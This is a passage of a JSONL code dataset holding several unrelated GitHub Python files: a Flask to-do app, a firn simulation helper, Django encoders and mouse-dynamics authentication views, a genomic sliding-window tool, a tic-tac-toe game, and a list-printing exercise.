   db.session.add(new_todo)\r\n#    db.session.commit()\r\n#    return redirect(url_for('index')) # this refreshes the page\r\n\r\n### method 2 of data input: acynchronous request from form input\r\n### client will fetch response from server after completion and handles the response\r\n### server will not define how the response will be handled and how the view is updated\r\n\r\n@app.route('/list/create',methods=['POST'])\r\ndef createlist_unsync():\r\n    listname=request.get_json()['listname']\r\n    listdescription=request.get_json()['listdescription']    \r\n    \r\n    # initialise the variables to be used\r\n    error=False\r\n    body={}\r\n    \r\n    try:\r\n        new_todolist=ToDoList(name=listname,description=listdescription)\r\n        db.session.add(new_todolist)\r\n        db.session.commit()\r\n        body['id']=new_todolist.id\r\n        body['name']=new_todolist.name\r\n        body['description']=new_todolist.description\r\n    except:\r\n        error=True\r\n        db.session.rollback()\r\n        print(sys.exc_info())\r\n    finally:\r\n        db.session.close() # return connection to connection pool for more efficient resource mgmt\r\n    if error:\r\n        abort(400)\r\n    else:\r\n        return jsonify(body)\r\n\r\n@app.route('/lists/<listID>/delete',methods=['DELETE'])\r\ndef delete_list(listID):\r\n    error=False\r\n    try:\r\n        list=ToDoList.query.get(listID)\r\n        for todo in list.todos:\r\n            db.session.delete(todo)\r\n            \r\n        db.session.delete(list)\r\n        db.session.commit()\r\n    except:\r\n        db.session.rollback()\r\n    finally:\r\n        db.session.close()\r\n    if error:\r\n        abort(500)\r\n    else:\r\n        return jsonify({'success': True})\r\n\r\n@app.route('/lists/<listID>/set-completed',methods=['POST'])\r\ndef list_completed(listID):\r\n    error=False\r\n    try:\r\n        list = ToDoList.query.get(listID)\r\n        for todo in list.todos:\r\n            todo.completed = True\r\n        db.session.commit()\r\n    except:\r\n        db.session.rollback()\r\n    finally:\r\n        db.session.close()\r\n    if error:\r\n        abort(500)\r\n    else:\r\n        return jsonify({'success': True})\r\n\r\n@app.route('/lists/<listID>/todo/create',methods=['POST'])\r\ndef create_unsync(listID):\r\n    title=request.get_json()['title']\r\n    description=request.get_json()['description']   \r\n    \r\n    # initialise the variables to be used\r\n    error=False\r\n    body={}\r\n    \r\n    try:\r\n        new_todo=ToDo(title=title,description=description,list_id=listID)\r\n        db.session.add(new_todo)\r\n        db.session.commit()\r\n        body['id']=new_todo.id\r\n        body['title']=new_todo.title\r\n        body['description']=new_todo.description\r\n    except:\r\n        error=True\r\n        db.session.rollback()\r\n        print(sys.exc_info())\r\n    finally:\r\n        db.session.close() # return connection to connection pool for more efficient resource mgmt\r\n    if error:\r\n        abort(400)\r\n    else:\r\n        return jsonify(body)\r\n\r\n@app.route('/todo/<todoID>/set-completed',methods=['POST'])\r\ndef set_completed(todoID):\r\n    complete_status = request.get_json()['completed']\r\n    error=False\r\n    try:\r\n        todo = ToDo.query.get(todoID)\r\n        todo.completed = complete_status\r\n        db.session.commit()\r\n    except:\r\n        db.session.rollback()\r\n    finally:\r\n        db.session.close()\r\n    if error:\r\n        abort(500)\r\n    else:\r\n        return redirect(url_for('index'))\r\n\r\n@app.route('/todo/<todoID>/delete',methods=['DELETE'])\r\ndef delete_todo(todoID):\r\n    error=False\r\n    try:\r\n        ToDo.query.filter_by(id=todoID).delete()\r\n        db.session.commit()\r\n    except:\r\n        db.session.rollback()\r\n    finally:\r\n        db.session.close()\r\n    if error:\r\n        abort(500)\r\n    else:\r\n        return jsonify({'success': True})\r\n\r\n@app.route('/lists/<list_id>')\r\ndef get_todo_list(list_id):\r\n    return render_template('index.html',\r\n    lists=ToDoList.query.order_by('id'),\r\n    activelist=ToDoList.query.get(list_id),\r\n    todos=ToDo.query.filter_by(list_id=list_id).order_by('id').all())\r\n\r\n@app.route('/')\r\ndef index():\r\n    return redirect(url_for('get_todo_list',list_id=1)) # can consider how to set this to a variable\r\n","repo_name":"venice94/public_repo","sub_path":"todo_app.py","file_name":"todo_app.py","file_ext":"py","file_size_in_byte":6688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22957620939","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 22 17:19:30 2022\n\n@author: afzal-admin\n\"\"\"\nimport numpy as np\n\n#n:number of points\n#filename\n#tf_new: new time\n\ndef spin_up_firn(file_name,Grid,tf_new,n,t_interest):\n    print('Spinup initiated')\n    data = np.load(file_name)\n    t=data['t']\n    s_w_sol =data['s_w_sol']\n    #phi=data['phi']\n    phi_w_sol =data['phi_w_sol']\n    phi_i_sol =data['phi_i_sol']\n    H_sol =data['H_sol']\n    T_sol =data['T_sol']\n    s_w_sol =data['s_w_sol']\n    \n    #geometry\n    '''\n    Xc=data['Xc']\n    Yc=data['Yc']\n    Xc_col=data['Xc_col']\n    Yc_col=data['Yc_col']\n    Grid.Nx=data['Grid_Nx']\n    Grid.Ny=data['Grid_Ny']\n    Grid.xc=data['Grid_xc']\n    Grid.yc=data['Grid_yc']\n    Grid.xf=data['Grid_xf']\n    Grid.yf=data['Grid_yf']\n    '''\n    \n    s_w = s_w_sol[:,-1]\n    phi_i = phi_i_sol[:,-1]\n    phi_w = phi_w_sol[:,-1]\n    phi_nw = 1- phi_i - phi_w\n    phi = 1 - phi_i\n    H   = H_sol[:,-1]\n    T   = T_sol[:,-1]\n    time = t[-1]\n    t_new = np.linspace(t[-1],tf_new,n)\n    t_interest = np.append(t_interest,t_new[1:])\n    i = 1\n    s_w = np.transpose([s_w])\n    tf =tf_new\n    s_w_sol = s_w_sol\n    t = t.tolist()\n    print('Spinup finished')\n    return Grid,s_w,time,tf_new,time,t_interest,i,tf,t,s_w_sol,phi_w_sol,phi_w,phi_i_sol,phi_i,H_sol,H,T_sol,T,phi","repo_name":"mashadab/ice-layer-formation","sub_path":"Solver/spin_up_firn.py","file_name":"spin_up_firn.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11783777979","text":"from common.json import ModelEncoder\nfrom .models import Product, Category\n\nclass CategoryEncoder(ModelEncoder):\n    model = Category\n    properties = [\n        \"id\",\n        \"name\",\n        \"parent_category\",\n    ]\n    def get_extra_data(self, o):\n        extra_data = super().get_extra_data(o)\n        if o.parent_category:\n            extra_data[\"parent_category\"] = CategoryEncoder().default(o.parent_category)\n        return extra_data\n\nclass ProductEncoder(ModelEncoder):\n    model = Product\n    properties = [\n        \"id\",\n        \"title\",\n        \"price\",\n        \"description\",\n        \"image\",\n        \"category\",\n    ]\n    encoders = {\n        \"category\": CategoryEncoder(),\n    }\n","repo_name":"jenkimh/vendora","sub_path":"inventory/api/inventory_app/encoders.py","file_name":"encoders.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"75410512830","text":"#!/usr/bin/env python\n# Created on: Jul 1, 2023 at 9:50:48 AM\n__author__ = \"Michael Cuoco\"\n\nimport re, logging, time\n\nlogger = logging.getLogger(__name__)  # configure logging\nfrom collections import deque\nfrom typing import Generator\nfrom pysam import AlignmentFile, AlignedSegment\nimport numpy as np\nimport pandas as pd\nfrom .schemas import TAGS, Read\nimport pyarrow as pa\nimport pyarrow.parquet as pq\n\nCHROMOSOMES = [f\"chr{c}\" for c in range(1, 23)] + [\"chrX\", \"chrY\"]\n\n\ndef isref_read(read: AlignedSegment) -> bool:\n    \"return True if read is ref, False if non-ref based on mate tag\"\n    assert read.is_read1, \"Read must be read 1\"\n\n    # get cigar at start of read, accounting for strand\n    if not read.has_tag(\"MC\"):\n        return False\n\n    cigar = re.findall(r\"(\\d+)([MIDNSHP=X])\", str(read.get_tag(\"MC\")))\n    end = cigar[-1] if not read.is_reverse else cigar[0]\n    clipped = int(end[0]) if end[1] == \"H\" or end[1] == \"S\" else 0\n\n    return read.is_proper_pair and (clipped < 30)\n\n\ndef read_to_namedtuple(read: AlignedSegment) -> Read:\n    \"convert pysam.AlignedSegment to hashable namedtuple Read\"\n    return Read(\n        read.reference_name,\n        read.reference_start,\n        read.reference_end,\n        read.infer_read_length(),\n        read.is_read1,\n        read.is_read2,\n        not read.is_reverse,\n        read.is_reverse,\n        read.mapping_quality,\n        len(read.get_tag(\"SA\").split(\";\")[:-1]) if read.has_tag(\"SA\") else 0,  # type: ignore\n        read.cigarstring,\n        read.get_tag(\"AS\") if read.has_tag(\"AS\") else None,\n        read.get_tag(\"L1\") if read.has_tag(\"L1\") else None,\n        read.get_tag(\"LS\") if read.has_tag(\"LS\") else None,\n        read.get_tag(\"LE\") if read.has_tag(\"LE\") else None,\n        read.get_tag(\"LA\") if read.has_tag(\"LA\") else None,\n        read.get_tag(\"MS\") if read.has_tag(\"MS\") else None,\n        read.get_tag(\"ML\") if read.has_tag(\"ML\") else None,\n        read.get_tag(\"MQ\") if read.has_tag(\"MQ\") else None,\n        read.get_tag(\"MC\") if read.has_tag(\"MC\") else None,\n        read.next_reference_name,\n        read.next_reference_start,\n        read.is_proper_pair,\n        isref_read(read),\n        read.is_duplicate,\n    )\n\n\ndef gini(array):\n    \"\"\"Calculate the Gini coefficient of a numpy array.\"\"\"\n    # based on bottom eq: http://www.statsdirect.com/help/content/image/stat0206_wmf.gif\n    # from: http://www.statsdirect.com/help/default.htm#nonparametric_methods/gini.htm\n    array = array.flatten()  # all values are treated equally, arrays must be 1d\n    if np.amin(array) < 0:\n        array -= np.amin(array)  # values cannot be negative\n    array += 0.0000001  # values cannot be 0\n    array = np.sort(array)  # values must be sorted\n    index = np.arange(1, array.shape[0] + 1)  # index per array element\n    n = array.shape[0]  # number of array elements\n    return (np.sum((2 * index - n - 1) * array)) / (\n        n * np.sum(array)\n    )  # Gini coefficient\n\n\n# TODO: remove collect_localmax and associated code\n# TODO: move features and stats methods outside of class\nclass SlidingWindow(object):\n    def __init__(\n        self,\n        bam: AlignmentFile,\n        contigs: list | None = None,\n        min_mapq: int = 0,\n        peaks: bool = False,\n        collect_features: bool = False,\n        collect_localmax: bool = False,\n    ) -> None:\n        # save inputs to attributes\n        self.bam = bam\n\n        # validate contigs\n        if contigs:\n            for c in contigs:\n                if c not in CHROMOSOMES:\n                    raise Exception(f\"{c} is not valid chromosome\")\n            self.contigs = contigs\n        else:\n            self.contigs = []\n            for i in range(bam.nreferences):\n                if bam.get_reference_name(i) in CHROMOSOMES:\n                    self.contigs.append(bam.get_reference_name(i))\n\n        # save settings\n        self.min_mapq = min_mapq\n        self.peaks = peaks\n        self.mode = \"peaks\" if self.peaks else \"windows\"\n        self.collect_features = collect_features\n        self.collect_localmax = collect_localmax\n\n        self.read_filter = (\n            lambda x: x.is_read1\n            and x.is_mapped\n            and (not x.is_secondary)\n            and (not x.is_supplementary)\n        )\n\n        # count reads in bam satisfying read filter\n        total_reads = bam.count(read_callback=self.read_filter)\n        self.size_factor = total_reads / 1e6\n        logger.info(f\"{total_reads} filtered reads in the bam file\")\n\n        # reset read filter to include min_mapq\n        self.read_filter = (\n            lambda x: x.is_read1\n            and x.is_mapped\n            and (not x.is_secondary)\n            and (not x.is_supplementary)\n            and (x.mapping_quality >= min_mapq)\n        )\n\n    def windows(\n        self,\n        reads,\n        size: int = 200,\n        step: int = 1,\n        min_rpm: float = 0,\n        min_reads: int = 0,\n    ) -> Generator:\n        \"Slide window across contig and yield each window\"\n        try:\n            r = next(reads)\n            assert type(r) == Read, \"Reads must be of type Read\"\n            contig = r.reference_name\n            reflen = self.bam.get_reference_length(r.reference_name)\n        except StopIteration:\n            return\n\n        w = deque()\n        for start in range(0, reflen + 1, step):\n            end = start + size if start + size < reflen else reflen\n\n            # while w is not empty and the first read is outside the window\n            while w and w[0].reference_start < start:\n                w.popleft().isref_read\n\n            # while the next read is inside the window\n            while r.reference_start < end:\n                w.append(r)\n                try:\n                    r = next(reads)\n                    assert r.reference_name == contig, \"Reads are not sorted by contig\"\n                except StopIteration:\n                    break\n\n            # return window if it has min_rpm\n            if (len(w) / self.size_factor >= min_rpm) and (len(w) >= min_reads):\n                yield {\n                    \"Chromosome\": contig,\n                    \"Start\": start,\n                    \"End\": end,\n                    \"reads\": set(w),\n                }\n\n    def merge(self, windows: Generator, bandwidth: int = 0) -> Generator:\n        \"\"\"\n        Merge overlapping windows.\n        :param windows: generator of windows\n        :param bandwidth: maximum distance between windows to merge\n        \"\"\"\n\n        # filter windows for non-empty\n        windows = filter(lambda x: len(x[\"reads\"]) > 0, windows)\n        try:\n            p = next(windows)  # grab first window\n        except StopIteration:  # skip if no peaks\n            return\n\n        for n in windows:\n            # if the next window is within the bandwidth, merge\n            if n[\"Start\"] <= (p[\"End\"] + bandwidth):\n                p[\"End\"] = n[\"End\"]\n                p[\"reads\"] = p[\"reads\"].union(n[\"reads\"])\n            # otherwise, yield the previous window and start a new one\n            else:\n                # yield merged windpow\n                yield p\n                assert (\n                    p[\"Chromosome\"] == n[\"Chromosome\"]\n                ), \"Windows are not sorted by contig\"\n                # start new window\n                p = n\n\n    def stats(self, p: dict):\n        \"\"\"\n        Calculate basic stats about a region\n        :param p: dict of region, must contain \"reads\" key\n        \"\"\"\n\n        assert \"reads\" in p, \"Region must contain reads\"\n\n        # iterate over reads to calculate stats\n        p[\"n_ref_reads\"], p[\"max_mapq\"], p[\"n_duplicates\"] = 0, 0, 0\n        starts = []\n        fwd, rev = 0, 0\n        for r in p[\"reads\"]:\n            if r.is_duplicate:\n                p[\"n_duplicates\"] += 1\n                continue\n\n            if r.is_reverse:\n                rev += 1\n            else:\n                fwd += 1\n            p[\"max_mapq\"] = max(p[\"max_mapq\"], r.mapping_quality)\n            p[\"n_ref_reads\"] += r.isref_read\n\n            if r.is_forward:\n                starts.append(r.reference_start)\n            else:\n                starts.append(r.reference_end)\n        p[\"n_unique_starts\"] = len(set(starts))\n        p[\"n_reads\"] = fwd + rev\n\n        # add strand info\n        if (fwd == 0) and (rev > 0):\n            p[\"Strand\"] = \"-\"\n        elif (rev == 0) and (fwd > 0):\n            p[\"Strand\"] = \"+\"\n\n        # remove reads\n        del p[\"reads\"]\n\n        return p\n\n    def features(self, p: dict) -> dict:\n        \"\"\"\n        Extract features from a window of reads\"\n        :param p: dict of region, must contain \"reads\" key\n        \"\"\"\n\n        assert \"reads\" in p, \"Region must contain reads\"\n\n        # initialize lists for features\n        l = dict()\n        for k in TAGS + [\"3end\", \"5end\", \"mapq\", \"starts\"]:\n            l[k] = []\n\n        # initialize features dict\n        f = {\n            \"Chromosome\": p[\"Chromosome\"],\n            \"Start\": p[\"Start\"],\n            \"End\": p[\"End\"],\n            \"n_reads\": 0,\n            \"n_fwd\": 0,\n            \"n_rev\": 0,\n            \"n_duplicates\": 0,\n            \"n_proper_pairs\": 0,\n            \"n_ref_reads\": 0,\n            \"3end_gini\": float(0),\n            \"5end_gini\": float(0),\n            \"max_mapq\": 0,\n            \"rpm\": float(0),\n            \"orientation_bias\": float(0),\n            \"frac_proper_pairs\": float(0),\n            \"n_unique_starts\": 0,\n        }\n\n        for tag in TAGS:\n            for n in [0, 0.25, 0.5, 0.75, 1]:\n                f[tag + \"_q\" + str(n)] = float(0)\n            f[tag + \"_mean\"] = float(0)\n\n        # collect features from the reads in the window\n        for i, r in enumerate(p[\"reads\"]):\n            if not r.is_read1:\n                raise Exception(\"Reads must all be read1\")\n\n            if i == 0:\n                start = r.reference_start\n\n            if r.is_duplicate:\n                f[\"n_duplicates\"] += 1\n                continue\n\n            l[\"starts\"].append(r.reference_start)\n            if r.is_forward:\n                l[\"3end\"].append(r.reference_end - start)\n                l[\"5end\"].append(r.reference_start - start)\n            else:\n                l[\"3end\"].append(r.reference_start - start)\n                l[\"5end\"].append(r.reference_end - start)\n\n            l[\"mapq\"].append(r.mapping_quality)\n            f[\"n_proper_pairs\"] += r.is_proper_pair\n            f[\"n_ref_reads\"] += r.isref_read\n\n            if r.is_reverse:\n                f[\"n_rev\"] += 1\n            else:\n                f[\"n_fwd\"] += 1\n\n            for tag in TAGS:\n                if \"_normed\" in tag:\n                    if getattr(r, tag.replace(\"_normed\", \"\")):\n                        if tag in [\n                            \"L1_alignment_score_normed\",\n                            \"mate_alignment_score_normed\",\n                        ]:  # adjust alignments scores for read length\n                            l[tag].append(\n                                getattr(r, tag.replace(\"_normed\", \"\"))\n                                / getattr(r, \"mate_read_length\")\n                            )\n                        elif tag in [\"alignment_score_normed\"]:\n                            l[tag].append(\n                                getattr(r, tag.replace(\"_normed\", \"\"))\n                                / getattr(r, \"read_length\")\n                            )\n                elif getattr(r, tag):\n                    l[tag].append(getattr(r, tag))\n\n        # compute mean and quantiles for these features\n        for tag in TAGS:\n            if len(l[tag]) > 0:\n                quantiles = np.quantile(l[tag], [0, 0.25, 0.5, 0.75, 1])\n                for n, q in zip([0, 0.25, 0.5, 0.75, 1], quantiles):\n                    f[tag + \"_q\" + str(n)] = q\n                f[tag + \"_mean\"] = np.mean(l[tag])\n\n        f[\"n_reads\"] = f[\"n_fwd\"] + f[\"n_rev\"]\n\n        # if reads are empty, return empty features\n        if f[\"n_reads\"] == 0:\n            return f\n\n        f[\"3end_gini\"] = gini(np.array(l[\"3end\"], dtype=np.float64))\n        f[\"5end_gini\"] = gini(np.array(l[\"5end\"], dtype=np.float64))\n        f[\"max_mapq\"] = max(l[\"mapq\"])\n        f[\"n_unique_starts\"] = len(set(l[\"starts\"]))\n\n        return f\n\n    def make_regions(\n        self,\n        strand_split: bool = False,\n        **kwargs,\n    ) -> Generator:\n        \"\"\"\n        Make windows on the given contigs\n        :param strand_split: optionally generate windows separately for each strand\n        :param kwargs: arguments to pass to windows()\n        \"\"\"\n\n        # define read group filters\n        if strand_split:\n            rg = [\n                lambda x: x.is_read1 and x.is_forward,\n                lambda x: x.is_read1 and x.is_reverse,\n            ]\n        else:\n            rg = [lambda x: x.is_read1]\n\n        for c in self.contigs:\n            for f in rg:\n                reads = filter(self.read_filter, self.bam.fetch(c))\n                reads = filter(f, reads)\n                reads = map(read_to_namedtuple, reads)\n\n                # define window generator\n                if self.peaks:\n                    windows = self.merge(self.windows(reads, **kwargs))\n                else:\n                    windows = self.windows(reads, **kwargs)\n\n                # yield windows\n                for w in windows:\n                    if self.collect_features:\n                        yield self.features(w)\n                    else:\n                        yield self.stats(w)\n\n    def write_regions(self, outfile: str, **kwargs) -> None:\n        \"\"\"\n        Generate regions and write to disk\n        :param outfile: path to output file\n        :param kwargs: arguments to pass to make_regions()\n        \"\"\"\n\n        # grab first region\n        iter = self.make_regions(**kwargs)\n        r = next(iter)\n\n        if self.collect_localmax:\n            for i in [2, 4, 8, 16, 32]:\n                r[f\"localmax_{i}_reads\"] = 0\n                r[f\"localmax_{i}_rpm\"] = float(0)\n        schema = pa.Schema.from_pandas(pd.Series(r).to_frame().T)\n\n        regions = []  # initialize list of regions\n        with pq.ParquetWriter(outfile, schema, compression=\"gzip\") as writer:\n            # write regions to disk in batches by chromosome\n            for c in self.contigs:\n                start = time.perf_counter()\n\n                # collect regions for this chromosome\n                while r[\"Chromosome\"] == c:\n                    regions.append(r)\n                    try:\n                        r = next(iter)\n                    except StopIteration:\n                        break\n\n                logger.info(\n                    f\"Generated {len(regions)} {self.mode} on {c} in {time.perf_counter() - start:.2f} seconds\"\n                )\n\n                # skip empty chromosomes\n                if len(regions) == 0:\n                    continue\n\n                # convert regions to dataframe\n                regions = pd.DataFrame(regions)\n\n                # compute local max\n                if self.collect_localmax:\n                    for localbw in [2, 4, 8, 16, 32]:\n                        lm = regions[\"n_reads\"].rolling(localbw, center=True).max()\n                        regions[f\"localmax_{localbw}_reads\"] = lm\n                        regions[f\"localmax_{localbw}_rpm\"] = lm / self.size_factor\n\n                # remove empty regions\n                regions = regions.loc[regions.n_reads > 0, :].fillna(0)\n\n                # compute metrics on vector scale\n                regions[\"rpm\"] = regions[\"n_reads\"] / self.size_factor\n                if self.collect_features:\n                    regions[\"orientation_bias\"] = (\n                        np.maximum(regions[\"n_fwd\"], regions[\"n_rev\"])\n                        / regions[\"n_reads\"]\n                    )\n                    regions[\"frac_proper_pairs\"] = (\n                        regions[\"n_proper_pairs\"] / regions[\"n_reads\"]\n                    )\n                    regions[\"frac_duplicates\"] = regions[\"n_duplicates\"] / (\n                        regions[\"n_reads\"] + regions[\"n_duplicates\"]\n                    )\n\n                # write to disk\n                logger.info(f\"Writing {len(regions)} {self.mode} on {c} to disk\")\n                writer.write_table(pa.Table.from_pandas(regions, schema=schema))\n\n                # reset regions list\n                regions = []\n","repo_name":"mikecuoco/sz_slavseq","sub_path":"workflow/scripts/pyslavseq/sliding_window.py","file_name":"sliding_window.py","file_ext":"py","file_size_in_byte":16305,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"28294475955","text":"\"\"\"Declaration of variables\"\"\"\nboard = [\"-\", \"-\", \"-\", \"-\", \"-\", \"-\", \"-\", \"-\", \"-\"]\nplayer1 = \"X\"\nplayer2 = \"O\"\ngturn = player1\nisGameFinished = None\n\n\"\"\"Functions declaration and realization\"\"\"\n\n\ndef make_move(turn):\n    penalty_counter = 0\n    print(\"Enter cell number from 0-9: \")\n    print(\"0\", \"1\", \"2\")\n    print(\"3\", \"4\", \"5\")\n    print(\"6\", \"7\", \"8\")\n    a = int(input())\n    # Check if chosen field is taken\n    while board[a] != \"-\":\n        print(\"Field is taken, please try another one: \")\n        a = int(input())\n        penalty_counter += 1\n        if penalty_counter == 2:\n            # And punish if player trying to prevent program to end by always choosing taken tile\n            print(\"Player\", turn, \"disqualified\")\n            quit()\n    if turn == player1:\n        board[a] = \"X\"\n        turn = player2\n    elif turn == player2:\n        board[a] = \"O\"\n        turn = player1\n    draw_board()\n    return turn\n\n\ndef draw_board():\n    # Function which displays current situation on board\n    print(board[0], board[1], board[2])\n    print(board[3], board[4], board[5])\n    print(board[6], board[7], board[8])\n\n\ndef check_for_win():\n    # Function which checks if win conditions has been satisfied\n    if board[0] == board[1] and board[1] == board[2] and board[2] != \"-\":\n        print(\"Player\", board[1], \"wins \")\n        return True\n    elif board[3] == board[4] and board[4] == board[5] and board[5] != \"-\":\n        print(\"Player\", board[3], \"wins \")\n        return True\n    elif board[6] == board[7] and board[7] == board[8] and board[8] != \"-\":\n        print(\"Player\", board[6], \"wins \")\n        return True\n    elif board[0] == board[3] and board[3] == board[6] and board[6] != \"-\":\n        print(\"Player\", board[0], \"wins \")\n        return True\n    elif board[1] == board[4] and board[4] == board[7] and board[7] != \"-\":\n        print(\"Player\", board[1], \"wins \")\n        return True\n    elif board[2] == board[5] and board[5] == board[8] and board[8] != \"-\":\n        print(\"Player\", board[2], \"wins \")\n        return True\n    elif board[0] == board[4] and board[4] == board[8] and board[8] != \"-\":\n        print(\"Player\", board[0], \"wins \")\n        return True\n    elif board[6] == board[4] and board[4] == board[2] and board[2] != \"-\":\n        print(\"Player\", board[6], \"wins \")\n        return True\n    else:\n        return False\n\n\n\"\"\"Main Body\"\"\"\n\n\ndraw_board()\nfor i in range(len(board)):\n    gturn = make_move(gturn)\n    isGameFinished = check_for_win()\n    if isGameFinished:\n        print(\"Game Over\")\n        break\nif not isGameFinished:\n    print(\"Draw\")\n","repo_name":"IanMess/TicTacToe","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39734387064","text":"import itertools\nimport os\nimport pickle\nfrom collections import OrderedDict\n\nimport Pyro4\nimport matplotlib\nimport numpy as np\nfrom django.http import HttpResponse\nfrom rest_framework.authentication import SessionAuthentication, \\\n    BasicAuthentication\nfrom rest_framework.decorators import api_view\nfrom rest_framework.decorators import authentication_classes\nfrom rest_framework.decorators import parser_classes\nfrom rest_framework.decorators import permission_classes\nfrom rest_framework.parsers import JSONParser\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom sklearn.metrics.pairwise import cosine_similarity\n\n# in theory prevents matplotlib from wanting an x server to render things which will\n# raise a tkinter exception if executed on a server\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\n\n\ndef timestamps_to_dts(timestamps):\n    \"\"\" Converts a list of timestamps to time deltas \"\"\"\n    orig = timestamps[0]\n    timestamps = [i - orig for i in timestamps]\n    timestamps[1:] = [timestamps[idx + 1] - timestamps[idx] for idx, i in\n                      enumerate(timestamps[1:])]\n    return timestamps\n\n\ndef translate(data):\n    \"\"\"\n    Convert browser input data to the format that the neural network used\n    while training:\n    (timestamp, e.buttons, type, x, y)\n    We'll also convert the timestamp to time differences and\n    from milliseconds to seconds\n    \"\"\"\n\n    result = []\n    data = np.array(data, dtype=object)\n    dts = timestamps_to_dts(data[:, 0])  # convert to time deltas\n    dts = [i / 1000.0 for i in dts]  # convert to seconds\n    data[:, 0] = dts\n\n    buttons_map = {0: 'NoButton', 1: 'Left', 2: 'Right'}\n    states_map = {0: 'Move', 1: 'Pressed', 2: 'Released', 3: 'Drag'}\n\n    data[:, 1] = [buttons_map.get(i, 'Unknown') for i in data[:, 1]]\n    data[:, 2] = [states_map.get(i, 'Unknown') for i in data[:, 2]]\n\n    return data.tolist()\n\n\n# Use pickle as an improvised database\ndef persist(id, obj):\n    with open('state/user_{}_state.pkl'.format(id), 'w+b') as tmp:\n        pickle.dump(obj, tmp)\n\n\ndef load(id):\n    with open('state/user_{}_state.pkl'.format(id), 'rb') as tmp:\n        return pickle.load(tmp)\n\n\ndef reset_state(id):\n    with open('state/user_{}_state.pkl'.format(id), 'w+b') as tmp:\n        pickle.dump(OrderedDict(), tmp)\n\n\ndef get_or_create_state(id):\n    state = OrderedDict()\n\n    try:\n        state = load(id)\n    except Exception:\n        pass\n\n    return state\n\n\ndef plot_confusion_matrix(cm, classes, range_min,\n                          normalize=False,\n                          title='Confusion matrix',\n                          cmap=plt.cm.Blues):\n    \"\"\"\n    This function prints and plots the confusion matrix.\n    Normalization can be applied by setting `normalize=True`.\n    \"\"\"\n    plt.imshow(cm, interpolation='nearest', cmap=cmap, vmin=range_min, vmax=1.0)\n    plt.title(title)\n    plt.colorbar()\n    tick_marks = np.arange(len(classes))\n    plt.xticks(tick_marks, classes, rotation=45)\n    plt.yticks(tick_marks, classes)\n\n    if normalize:\n        cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n\n    thresh = 0.8\n    for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n        plt.text(j, i, \"{:.5f}\".format(cm[i, j]),\n                 horizontalalignment=\"center\",\n                 color=\"white\" if cm[i, j] > thresh else \"black\")\n\n    plt.tight_layout()\n    plt.ylabel('Users')\n    plt.xlabel('Users')\n\n\n@api_view(['GET'])\n@authentication_classes((SessionAuthentication, BasicAuthentication))\n@permission_classes((IsAuthenticated,))\n@parser_classes((JSONParser,))\ndef compare(request):\n    \"\"\" Returns a PNG image with a confusion matrix graph that shows how the\n    network compares any user against every other user \"\"\"\n\n    if request.method == 'GET':\n\n        rangemin = float(request.query_params['rangemin'])\n\n        state = get_or_create_state(request.user.id)\n\n        confusion_matrix = np.zeros((len(state.items()), len(state.items())))\n        # this can be done with itertools but it uses lexicographic order?\n        combinations = [(x, y) for x in enumerate(state.items()) for y in\n                        enumerate(state.items())]\n        for (i, (user1, embedding1)), (j, (user2, embedding2)) in combinations:\n            confusion_matrix[i, j] = cosine_similarity(embedding1, embedding2)\n\n        fig = plt.figure()\n        plot_confusion_matrix(confusion_matrix, state.keys(), rangemin)\n        canvas = FigureCanvas(fig)\n\n        response = HttpResponse(content_type='image/png')\n        canvas.print_png(response)\n        return response\n\n\n@api_view(['POST'])\n@authentication_classes((SessionAuthentication, BasicAuthentication))\n@permission_classes((IsAuthenticated,))\n@parser_classes((JSONParser,))\ndef reset(request):\n    \"\"\" Resets the saved recognition signatures\"\"\"\n    if request.method == 'POST':\n        reset_state(request.user.id)\n        return Response()\n\n\n@api_view(['POST'])\n@authentication_classes((SessionAuthentication, BasicAuthentication))\n@permission_classes((IsAuthenticated,))\n@parser_classes((JSONParser,))\ndef recognize(request):\n    \"\"\"\n    Sends the recorded input sequence the neural network which computes a \n    signature. The signature is saved and associated with the given user.\n    \"\"\"\n    if request.method == 'POST':\n        state = get_or_create_state(request.user.id)\n\n        user = request.data['user']\n        data = translate(request.data['input'])\n\n        detector = Pyro4.Proxy('PYRONAME:neuralauth.detector')\n        embedding = np.array(detector.prepare_and_predict(data, 1024, 768))\n\n        # We assume the average embedding will be representative of all the\n        # recorded sequences\n        try:\n            state[user] = np.mean([state[user], embedding], axis=0)\n        except KeyError:\n            state[user] = embedding\n\n        persist(request.user.id, state)\n\n        return Response(state[user])\n","repo_name":"manumartin/neuralauth","sub_path":"webapp/neuralauth/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72898596030","text":"#!/usr/bin/python3\ndef safe_print_list(my_list=[], x=0):\n    i = 0\n    item = \"\"\n    try:\n        for i in range(0, x):\n            print(\"{}\".format(my_list[i]), end='')\n            i += 1\n            if i == x:\n                break\n    except IndexError:\n        None\n    print()\n    return i\n","repo_name":"Nourezzehi/holbertonschool-higher_level_programming","sub_path":"python-exceptions/0-safe_print_list.py","file_name":"0-safe_print_list.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
